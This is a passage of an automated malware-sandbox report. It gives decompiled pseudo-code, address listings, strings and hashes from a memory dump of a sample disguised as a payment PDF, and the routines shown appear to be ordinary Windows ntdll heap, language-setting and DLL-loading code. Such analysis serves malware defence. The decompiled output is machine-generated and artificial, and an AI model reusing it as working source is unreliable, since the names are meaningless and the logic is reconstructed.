						if(_t265 == 0) {
							goto L9;
						}
						__eflags = _t265 -  *((intOrPtr*)(_t547 + 0x6c));
						if(_t265 >=  *((intOrPtr*)(_t547 + 0x6c))) {
							goto L25;
						} else {
							goto L9;
						}
					}
					goto L25;
				}
				_t439 = _a4;
				if(_t439 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t509 = __edx;
					goto L10;
				}
				_t427 =  *((intOrPtr*)(__ecx + 0x74)) + _t439;
				_v20 = _t427;
				if(_t427 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1f8) >>  *((intOrPtr*)(__ecx + 0x250)) + 3) {
					_t509 = _t533;
					goto L9;
				} else {
					_t431 = L33481EB2(__ecx, __edx,  &_a4, 0);
					_t439 = _a4;
					_t509 = _t431;
					_v52 = _t509;
					if(_t439 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E33480B10(__ecx, _t509, _t439);
						_t502 =  *(_t547 + 0x248);
						_t545 =  *((intOrPtr*)(_t547 + 0x1f8)) - ( *(_t547 + 0x74) << 3);
						_t242 = _t502 >> 4;
						if(_t545 < _t502 - _t242) {
							_t504 =  *(_t547 + 0x24c);
							_t242 = _t504 >> 2;
							__eflags = _t545 - _t504 - _t242;
							if(_t545 > _t504 - _t242) {
								_t242 = E3346F6C1(_t547);
								 *(_t547 + 0x24c) = _t545;
								 *(_t547 + 0x248) = _t545;
							}
						}
						goto L7;
					}
				}
			}

0x3346f113
0x3346f120
0x3346f123
0x3346f127
0x3346f137
0x3346f13b
0x334cdc64
0x334cdc67
0x3346f1d5
0x3346f1d5
0x3346f1c7
0x3346f1cd
0x3346f1cd
0x3346f144
0x334cdc75
0x334cdc79
0x334cdc7b
0x334cdc8d
0x334cdc92
0x334cdc94
0x334cdc9a
0x334cdc9a
0x334cdc9a
0x334cdc9a
0x334cdc94
0x334cdca0
0x334cdca3
0x334cdca5
0x3346f202
0x3346f202
0x3346f205
0x3346f207
0x334cdcae
0x3346f20d
0x3346f21b
0x3346f21b
0x3346f21b
0x3346f228
0x3346f22a
0x3346f22e
0x3346f231
0x3346f23f
0x3346f243
0x3346f248
0x3346f24f
0x3346f256
0x3346f259
0x3346f263
0x3346f269
0x3346f26f
0x3346f275
0x3346f278
0x3346f27d
0x3346f45b
0x3346f461
0x3346f461
0x3346f283
0x3346f28d
0x3346f291
0x3346f292
0x3346f295
0x3346f3be
0x3346f3be
0x3346f3be
0x3346f29d
0x3346f2a1
0x3346f494
0x3346f498
0x3346f49d
0x3346f4a1
0x3346f4a5
0x334cdcb5
0x334cdcb7
0x00000000
0x00000000
0x334cdcbd
0x3346f4ab
0x3346f4b2
0x334cdcc2
0x334cdcc4
0x334cdcca
0x334cdcd0
0x334cdcd4
0x334cdcf3
0x334cdcf8
0x334cdcd6
0x334cdceb
0x334cdcf0
0x334cdcfe
0x334cdd03
0x334cdd08
0x334cdd10
0x334cdd12
0x334cdd17
0x334cdd17
0x334cdd1c
0x334cdd20
0x334cdd20
0x334cdcc4
0x3346f4b8
0x3346f4be
0x3346f4c1
0x3346f4c5
0x3346f4c7
0x3346f4cb
0x3346f4cd
0x334cdd28
0x334cdd28
0x3346f4d9
0x3346f4d9
0x3346f4dd
0x3346f4e1
0x334cdd30
0x334cdd37
0x00000000
0x00000000
0x334cdd3d
0x334ce0fe
0x334ce0fe
0x00000000
0x00000000
0x334ce104
0x334ce10a
0x334ce10e
0x334ce12d
0x334ce132
0x334ce110
0x334ce125
0x334ce12a
0x334ce138
0x334ce13d
0x334ce142
0x334ce14a
0x334ce14c
0x334ce151
0x334ce151
0x00000000
0x3346f4e7
0x3346f4f5
0x3346f4fa
0x3346f4fc
0x334cdd44
0x334cdd44
0x334cdd4a
0x334cdd4f
0x334ce159
0x334ce159
0x3346f1d2
0x3346f1d2
0x3346f1d4
0x3346f1d4
0x00000000
0x3346f1d4
0x334cdd6d
0x334ce156
0x334ce156
0x00000000
0x334ce156
0x3346f502
0x3346f507
0x3346f50c
0x3346f50e
0x334cdd80
0x3346f514
0x3346f514
0x3346f514
0x3346f516
0x3346f519
0x334cdd8a
0x334cdd90
0x334cdd97
0x334cdda9
0x334cdda9
0x334cdd97
0x3346f51f
0x3346f523
0x3346f529
0x3346f52c
0x3346f532
0x334cddb3
0x334cddb3
0x3346f53c
0x3346f541
0x3346f54b
0x3346f550
0x3346f55c
0x3346f563
0x3346f56d
0x3346f570
0x3346f575
0x3346f577
0x3346f577
0x3346f577
0x3346f577
0x3346f57d
0x3346f582
0x334cddc2
0x334cddca
0x334cddce
0x334cddda
0x334cddde
0x334cdeaf
0x334cdeb3
0x334cdec1
0x334cdec7
0x334cdec7
0x334cdde4
0x334cdde8
0x334cddea
0x334cdded
0x334cddf7
0x334cddfa
0x334cddfc
0x334cde02
0x334cde08
0x334cde0a
0x334cde0d
0x334cde0f
0x334cde15
0x334cde18
0x334cde37
0x334cde3c
0x334cde1a
0x334cde2f
0x334cde34
0x334cde42
0x334cde47
0x334cde4d
0x334cde53
0x334cde55
0x334cde5a
0x334cde5a
0x334cde5f
0x334cde5f
0x334cde0d
0x334cde63
0x334cde66
0x334cde69
0x334cde72
0x334cde73
0x334cde77
0x334cde7c
0x334cde7e
0x334cde7f
0x334cde80
0x334cde81
0x334cde85
0x334cde87
0x334cde88
0x334cde8d
0x334cde91
0x334cde91
0x334cde95
0x334cde95
0x334cde9d
0x334cdea0
0x334cdea5
0x334cdea5
0x334cddde
0x3346f588
0x3346f58d
0x3346f58f
0x334cded7
0x3346f595
0x3346f595
0x3346f595
0x3346f597
0x3346f59a
0x334cdee1
0x334cdeea
0x334cdef0
0x334cdefb
0x334cdefd
0x334cdf08
0x334cdf08
0x334cdf08
0x334cdf2b
0x334cdf2b
0x334cdef0
0x3346f5a0
0x3346f5a5
0x3346f5aa
0x3346f5af
0x3346f5b1
0x334cdf3e
0x3346f5b7
0x3346f5b7
0x3346f5b7
0x3346f5b9
0x3346f5bc
0x334cdf4a
0x334cdf4c
0x334cdf57
0x334cdf57
0x334cdf57
0x334cdf5c
0x334cdf5d
0x334cdf61
0x334cdf7c
0x334cdf88
0x334cdf89
0x334cdf8d
0x334cdf8d
0x00000000
0x3346f5bc
0x3346f4e1
0x3346f2a7
0x3346f2ad
0x3346f2b6
0x3346f2ba
0x3346f2bc
0x334cdf97
0x334cdf9d
0x334cdf9d
0x3346f2c4
0x3346f2c7
0x3346f2cb
0x3346f2cd
0x3346f2d2
0x3346f2d6
0x3346f3c8
0x3346f3c8
0x3346f2dc
0x3346f2e1
0x3346f2e3
0x334ce0ed
0x334ce0f3
0x00000000
0x00000000
0x334ce0f9
0x00000000
0x334ce0f9
0x3346f2e9
0x3346f2eb
0x3346f2ef
0x3346f2f3
0x3346f302
0x3346f302
0x3346f304
0x3346f346
0x3346f346
0x3346f348
0x3346f34c
0x3346f3ea
0x3346f3f2
0x3346f3f6
0x3346f402
0x3346f406
0x334ce046
0x334ce049
0x334ce057
0x334ce05d
0x334ce05d
0x3346f40c
0x3346f410
0x3346f413
0x3346f423
0x3346f426
0x3346f428
0x3346f42e
0x3346f434
0x334cdfe4
0x334cdfe7
0x334cdfed
0x334cdff3
0x334cdff6
0x334ce015
0x334ce01a
0x334cdff8
0x334ce00d
0x334ce012
0x334ce020
0x334ce025
0x334ce02b
0x334ce031
0x334ce033
0x334ce038
0x334ce038
0x334ce03d
0x334ce03d
0x334cdfe7
0x3346f43a
0x3346f43d
0x3346f440
0x3346f442
0x3346f470
0x3346f471
0x3346f475
0x3346f47a
0x3346f47c
0x3346f47d
0x3346f47e
0x3346f47f
0x3346f480
0x3346f482
0x3346f483
0x3346f488
0x3346f48c
0x3346f48c
0x3346f444
0x3346f444
0x3346f444
0x3346f446
0x3346f451
0x3346f451
0x3346f406
0x3346f36b
0x3346f37a
0x3346f37f
0x3346f384
0x3346f389
0x3346f38b
0x334ce06d
0x3346f391
0x3346f391
0x3346f391
0x3346f393
0x3346f396
0x334ce077
0x334ce080
0x334ce086
0x334ce091
0x334ce093
0x334ce09e
0x334ce09e
0x334ce09e
0x334ce0bb
0x334ce0bb
0x334ce086
0x3346f39c
0x3346f3a1
0x3346f3a6
0x3346f3a8
0x334ce0ce
0x3346f3ae
0x3346f3ae
0x3346f3ae
0x3346f3b0
0x3346f3b3
0x00000000
0x3346f3b9
0x334ce0dd
0x334ce0df
0x334cdf70
0x334cdf70
0x334cdf70
0x334cdf79
0x334cdf7a
0x334cdf7b
0x00000000
0x334cdf7b
0x3346f3b3
0x3346f306
0x3346f31a
0x3346f31f
0x3346f321
0x00000000
0x00000000
0x3346f327
0x3346f32c
0x3346f32e
0x334cdfaf
0x3346f334
0x3346f334
0x3346f334
0x3346f339
0x3346f33c
0x334cdfb9
0x334cdfc2
0x334cdfc8
0x334cdfda
0x334cdfda
0x334cdfc8
0x3346f342
0x00000000
0x3346f342
0x3346f2f9
0x3346f2fc
0x3346f3d0
0x3346f3d2
0x00000000
0x00000000
0x3346f3d8
0x3346f3db
0x00000000
0x3346f3e1
0x00000000
0x3346f3e1
0x3346f3db
0x00000000
0x3346f2fc
0x3346f14a
0x3346f150
0x334cdc6e
0x00000000
0x334cdc6e
0x3346f159
0x3346f15b
0x3346f162
0x3346f1d0
0x00000000
0x3346f17b
0x3346f184
0x3346f189
0x3346f18c
0x3346f18e
0x3346f19e
0x00000000
0x3346f1a0
0x3346f1a3
0x3346f1b1
0x3346f1ba
0x3346f1be
0x3346f1c5
0x3346f1dc
0x3346f1e4
0x3346f1e9
0x3346f1eb
0x3346f1ef
0x3346f1f4
0x3346f1fa
0x3346f1fa
0x3346f1eb
0x00000000
0x3346f1c5
0x3346f19e

Strings

HEAP: , xrefs: 334CDCF3, 334CDE37, 334CE015, 334CE12D
((LONG)FreeEntry->Size > 1), xrefs: 334CDE42
(LONG)FreeEntry->Size > 1, xrefs: 334CE020
(UCRBlock != NULL), xrefs: 334CDCFE
HEAP[%wZ]: , xrefs: 334CDCE6, 334CDE2A, 334CE008, 334CE120
(!TrailingUCR), xrefs: 334CE138

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 62ef720e489e86cabc98447e444935feb87276759b2657cbee479cfab4bc9bda
Instruction ID: 0ef353e19ad1b3961baba13087e8e5f4925063de2cb4d1847bd83f4edf86a5b4
Opcode Fuzzy Hash: 62ef720e489e86cabc98447e444935feb87276759b2657cbee479cfab4bc9bda
Instruction Fuzzy Hash: 1E42F179608781AFD301CF28C890B1ABBE5FF85248F084A6DE4D5CB751DB34D886CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 3349510F Relevance: 7.9, Strings: 6, Instructions: 434
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E3349510F(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E33498BD1(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E33498BD1(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E33498BD1(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E33498BD1(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E33498BD1(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L33485D90(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							L334B88C0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = L334BA8B0(_t276, ";");
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E334B5050(0,  &_v68, _t170);
									_t86 =  &_v24; // 0x33492e68
									if(E334956E0( &_v68, _t86) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E334B5050(_t257,  &_v68, _t243);
								_t80 =  &_v24; // 0x33492e68
								if(E334956E0( &_v68, _t80) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = L334BA8B0(_t278, ";");
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L33485D90(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						L334B88C0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = L334BA8B0(_v16, ";");
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E334B5050(_t262,  &_v68, _t244);
								_t125 =  &_v24; // 0x33492e68
								if(E334956E0( &_v68, _t125) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = L334BA8B0(_t282, ";");
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E334B5050(_t262,  &_v68, _t201);
							_t58 =  &_v24; // 0x33492e68
							if(E334956E0( &_v68, _t58) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L33485D90(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					L334B88C0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = L334BA8B0(_t280, ";");
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E334B5050(_t267,  &_v68, _t245);
							_t117 =  &_v24; // 0x33492e68
							if(E334956E0( &_v68, _t117) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = L334BA8B0(_t284, ";");
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E334B5050(_t267,  &_v68, _t224);
						_t35 =  &_v24; // 0x33492e68
						if(E334956E0( &_v68, _t35) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x33495117
0x3349511d
0x3349511f
0x33495121
0x33495124
0x33495127
0x3349512a
0x3349512d
0x33495130
0x33495133
0x33495136
0x3349513a
0x3349513c
0x33495141
0x334db9ab
0x334db9b0
0x33495460
0x33495463
0x33495469
0x3349546f
0x33495475
0x3349547b
0x33495481
0x33495484
0x3349548a
0x33495491
0x33495496
0x33495496
0x3349515e
0x334db9b7
0x334db9c1
0x334db9d0
0x334db9d0
0x334db9d5
0x334db9d5
0x3349517b
0x3349518a
0x33495190
0x33495195
0x33495195
0x334951af
0x3349526f
0x33495286
0x33495348
0x3349535f
0x33495446
0x33495446
0x33495449
0x33495449
0x3349544b
0x3349544f
0x334dbae9
0x334dbae9
0x33495455
0x3349545a
0x334dbaf5
0x334dbb08
0x334dbb0f
0x334dbb11
0x334dbb14
0x334dbb14
0x334dbaf5
0x00000000
0x3349545a
0x33495365
0x33495368
0x3349536b
0x33495370
0x334dbaa5
0x334dbaa7
0x33495376
0x33495387
0x33495389
0x3349538c
0x3349538c
0x33495391
0x334dbaaf
0x334dbab2
0x00000000
0x33495397
0x3349539c
0x334953a4
0x334953b2
0x334953b5
0x334953b8
0x334953fc
0x334953fc
0x33495404
0x3349540b
0x33495410
0x3349541f
0x33495421
0x33495421
0x3349541f
0x33495424
0x334dbabf
0x334dbacc
0x334dbad1
0x334dbad4
0x3349542a
0x3349542a
0x3349542a
0x3349542c
0x33495431
0x3349543e
0x3349543e
0x33495443
0x00000000
0x33495443
0x334953ba
0x334953bd
0x334953bf
0x334953c2
0x334953ca
0x334953cf
0x334953de
0x334953e0
0x334953e0
0x334953e7
0x334953ee
0x334953f1
0x334953f2
0x334953f6
0x334953f9
0x00000000
0x334953f9
0x33495391
0x3349528c
0x3349528f
0x33495292
0x33495297
0x334dba41
0x334dba43
0x3349529d
0x334952ae
0x334952b0
0x334952b3
0x334952b3
0x334952b8
0x334dba4b
0x334dba4e
0x00000000
0x334952be
0x334952c3
0x334952c8
0x334952cb
0x334952ce
0x334952dd
0x334952e0
0x334952e3
0x334dba58
0x334dba5b
0x334dba5d
0x334dba60
0x334dba68
0x334dba6d
0x334dba7c
0x334dba7e
0x334dba7e
0x334dba85
0x334dba8c
0x334dba8f
0x334dba90
0x334dba94
0x334dba97
0x334dba97
0x334952e9
0x334952ec
0x334952f1
0x334952f8
0x334952fd
0x3349530c
0x334dba9f
0x334dba9f
0x3349530c
0x33495314
0x33495323
0x33495328
0x3349532b
0x3349532b
0x3349532e
0x33495333
0x33495340
0x33495340
0x33495345
0x00000000
0x33495345
0x334952b8
0x334951b5
0x334951b8
0x334951bb
0x334951c0
0x334db9dd
0x334951c6
0x334951d2
0x334951d7
0x334951d9
0x334951dc
0x334951dc
0x334951e1
0x334db9e5
0x334db9e7
0x334db9ec
0x00000000
0x334951e7
0x334951ec
0x334951f1
0x334951f4
0x33495204
0x33495207
0x3349520a
0x334db9f4
0x334db9f7
0x334db9f9
0x334db9fc
0x334dba04
0x334dba09
0x334dba18
0x334dba1a
0x334dba1a
0x334dba21
0x334dba28
0x334dba2b
0x334dba2c
0x334dba30
0x334dba33
0x334dba33
0x33495210
0x33495213
0x33495218
0x3349521f
0x33495224
0x33495233
0x334dba3b
0x334dba3b
0x33495233
0x3349523b
0x3349524a
0x3349524f
0x33495252
0x33495252
0x33495255
0x3349525a
0x33495267
0x33495267
0x3349526c
0x00000000
0x3349526c

Strings

Kernel-MUI-Language-SKU, xrefs: 3349534B
Kernel-MUI-Language-Allowed, xrefs: 3349519B
Kernel-MUI-Language-Disallowed, xrefs: 33495272
Kernel-MUI-Number-Allowed, xrefs: 33495167
WindowsExcludedProcs, xrefs: 3349514A
h.I3, xrefs: 33495410, 334953CF, 334DBA6D, 334952FD, 334DBA09, 33495224, 33495227, 33495300, 334953D2, 33495413, 334DBA0C, 334DBA70

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs$h.I3
API String ID: 0-410813628
Opcode ID: a9e55bbdb1cf8b8557261b332cdf7d89554d586944824cdebe34acf99a6ecbe7
Instruction ID: 893a8b278fae80301b78cf7f00b498a291f5a94db9c43e30cb323a3aa0e4cf72
Opcode Fuzzy Hash: a9e55bbdb1cf8b8557261b332cdf7d89554d586944824cdebe34acf99a6ecbe7
Instruction Fuzzy Hash: E9F152B6D01219EFDB11CF99C980ADEBBF8EF08650F5440AAE515E7711E7709E01CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3348B0D0 Relevance: 7.8, Strings: 6, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E3348B0D0(signed short* __ecx, signed short* __edx, signed int _a4, signed int* _a8) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed short* _v12;
				char _v16;
				signed int _v20;
				char _v28;
				char _v36;
				char _v44;
				signed int _t75;
				char* _t76;
				signed int _t79;
				signed short* _t81;
				signed short* _t89;
				short* _t93;
				signed short* _t96;
				signed int _t97;
				signed int _t103;
				signed int _t112;
				void* _t119;
				char _t128;
				signed int _t134;
				signed short* _t135;
				signed int _t136;
				signed int* _t138;
				signed int _t140;
				signed short _t141;
				void* _t144;
				signed short _t145;
				signed int _t146;
				signed int _t151;
				signed short* _t161;
				signed short _t165;
				signed short _t168;
				signed short* _t183;
				signed int _t184;
				signed int _t186;
				void* _t189;

				_t135 = __ecx;
				_t183 = __edx;
				_v12 = __ecx;
				if(E3348C4A0(0,  &_v16) < 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				_t138 = _a8;
				_t75 = 0;
				_t184 = 0;
				_v5 = 0;
				if(( *_t138 & 0x00800008) != 0) {
					L16:
					_v12 = _t135;
					if( *_t183 != 0) {
						__eflags =  *0x335637c0 & 0x00000005;
						if(( *0x335637c0 & 0x00000005) != 0) {
							__eflags = _t75;
							_t76 = "SxS";
							if(_t75 == 0) {
								_t76 = "API set";
							}
							_push(_t76);
							_push(_t183);
							E334EE692("minkernel\\ntdll\\ldrutil.c", 0xa78, "LdrpPreprocessDllName", "true", "DLL %wZ was redirected to %wZ by %s\n", _t135);
							_t138 = _a8;
							_t189 = _t189 + 0x20;
						}
						_t79 =  *_t138 | 0x00000200;
						__eflags = _v5;
						 *_t138 = _t79;
						if(_v5 != 0) {
							 *_t138 = _t79 | 0x00000004;
						}
						_t81 = _t183;
						_v12 = _t81;
						L27:
						if(_t184 < 0) {
							goto L83;
						}
						if(( *_t138 & 0x00000200) != 0) {
							L3347FCF0(_t138, _t183);
							_t81 = _v12;
						}
						_t165 = _t81[2];
						_t89 = ( *_t81 & 0x0000ffff) + 0xfffffffe + _t165;
						if(_t89 < _t165) {
							L34:
							_t184 = E3348C7E7(_t183, 0x3344116c);
							goto L39;
						} else {
							while(1) {
								_t140 =  *_t89 & 0x0000ffff;
								if(_t140 == 0x2e) {
									break;
								}
								if(_t140 != 0x2f && _t140 != 0x5c) {
									_t89 = _t89 - 2;
									if(_t89 >= _t165) {
										continue;
									}
								}
								goto L34;
							}
							_t141 = _t183[2];
							_t93 = ( *_t183 & 0x0000ffff) + 0xfffffffe + _t141;
							__eflags = _t93 - _t141;
							if(_t93 < _t141) {
								L38:
								__eflags = 0;
								 *((short*)(_t93 + 2)) = 0;
								L39:
								if(_t184 < 0) {
									goto L83;
								}
								goto L40;
							}
							while(1) {
								__eflags =  *_t93 - 0x2e;
								if( *_t93 != 0x2e) {
									goto L38;
								}
								_t93 = _t93 - 2;
								 *_t183 =  *_t183 + 0xfffe;
								__eflags = _t93 - _t141;
								if(_t93 >= _t141) {
									continue;
								}
								goto L38;
							}
							goto L38;
						}
					}
					_t168 = _t135[2];
					_t96 = ( *_t135 & 0x0000ffff) + 0xfffffffe + _t168;
					if(_t96 < _t168) {
						L22:
						 *_t138 =  *_t138 | 0x00000020;
						_t184 = 0;
						_t97 =  *_t135 & 0x0000ffff;
						if(_t97 == 0) {
							L26:
							_t81 = _t135;
							goto L27;
						}
						_t144 = _t97 + ( *_t183 & 0x0000ffff) + 2;
						if(_t144 > (_t183[1] & 0x0000ffff)) {
							__eflags = _t144 - 0xfffe;
							if(_t144 <= 0xfffe) {
								_t62 = _t144 + 0x3f; // -191
								_t186 = _t62 & 0xffffffc0;
								__eflags = _t186 - 0xfffe;
								if(_t186 > 0xfffe) {
									_t186 = 0xfffe;
								}
								_t145 = _t183[2];
								_t64 =  &(_t183[4]); // 0x1000008
								__eflags = _t145 - _t64;
								if(_t145 == _t64) {
									_t146 = L33485D60(_t186);
									_v20 = _t146;
									__eflags = _t146;
									if(_t146 == 0) {
										goto L80;
									}
									_t103 =  *_t183 & 0x0000ffff;
									__eflags = _t103;
									if(_t103 != 0) {
										L334B88C0(_t146, _t183[2], _t103);
										_t146 = _v20;
										_t189 = _t189 + 0xc;
									}
									goto L78;
								} else {
									_t146 = L334F3C57(_t186, _t145);
									L78:
									__eflags = _t146;
									if(_t146 == 0) {
										L80:
										_t184 = 0xc0000017;
										L25:
										_t138 = _a8;
										goto L26;
									}
									_t183[2] = _t146;
									_t183[1] = _t186;
									goto L24;
								}
							}
							_t184 = 0xc0000106;
							goto L25;
						}
						L24:
						_t184 = 0;
						L334B88C0(( *_t183 & 0x0000ffff) + _t183[2], _t135[2],  *_t135 & 0x0000ffff);
						_t189 = _t189 + 0xc;
						 *_t183 =  *_t183 + ( *_t135 & 0x0000ffff);
						 *((short*)(_t183[2] + (( *_t183 & 0x0000ffff) >> 1) * 2)) = 0;
						goto L25;
					} else {
						goto L18;
					}
					while(1) {
						L18:
						_t151 =  *_t96 & 0x0000ffff;
						if(_t151 == 0x5c || _t151 == 0x2f) {
							break;
						}
						_t96 = _t96 - 2;
						if(_t96 >= _t168) {
							continue;
						}
						_t138 = _a8;
						goto L22;
					}
					__eflags = L334A432E(_t135) - 5;
					if(__eflags == 0) {
						_t184 = E3348C7E7(_t183, _t135);
						goto L25;
					}
					_t112 = E334923C4(_t135, _t183, __eflags);
					_t138 = _a8;
					_t184 = _t112;
					_t81 = _t135;
					__eflags = _t184;
					if(_t184 < 0) {
						goto L83;
					}
					 *_t138 =  *_t138 | 0x00000600;
					goto L27;
				} else {
					_v5 = 0;
					_v20 =  *[fs:0x30];
					_v7 = 1;
					L3348DF36(0, _t135, 0x14d0);
					asm("sbb edx, edx");
